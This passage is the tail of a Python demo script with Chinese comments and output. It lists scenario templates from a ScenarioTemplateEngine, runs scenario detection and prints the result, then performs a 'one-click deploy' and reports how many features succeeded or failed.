    engine = ScenarioTemplateEngine()
    
    # 显示可用场景
    scenarios = engine.get_available_scenarios()
    color_blue("\n可用场景模板:")
    for scenario in scenarios:
        print(f"  • {scenario['name']} ({scenario['type']})")
        print(f"    {scenario['description']}")
        print(f"    功能数量: {scenario['enabled_features']}/{scenario['feature_count']}")
    
    # 执行场景检测
    color_blue("\n执行场景检测...")
    detection_result = engine.detect_scenario()
    
    if detection_result:
        print(f"\n检测结果:")
        print(f"  场景类型: {detection_result.detected_scenario.value}")
        print(f"  置信度: {detection_result.confidence_score:.2f}")
        print(f"  证据: {', '.join(detection_result.evidence)}")
        
        if detection_result.warnings:
            color_yellow("  警告:")
            for warning in detection_result.warnings:
                print(f"    - {warning}")
    
    # 一键部署演示
    color_blue("\n执行一键部署...")
    deployment_result = engine.one_click_deploy()
    
    if deployment_result["success"]:
        print(f"\n部署结果:")
        print(f"  场景: {deployment_result['scenario']}")
        print(f"  成功功能: {len(deployment_result['deployed_features'])}")
        print(f"  失败功能: {len(deployment_result['failed_features'])}")


if __name__ == "__main__":
    main()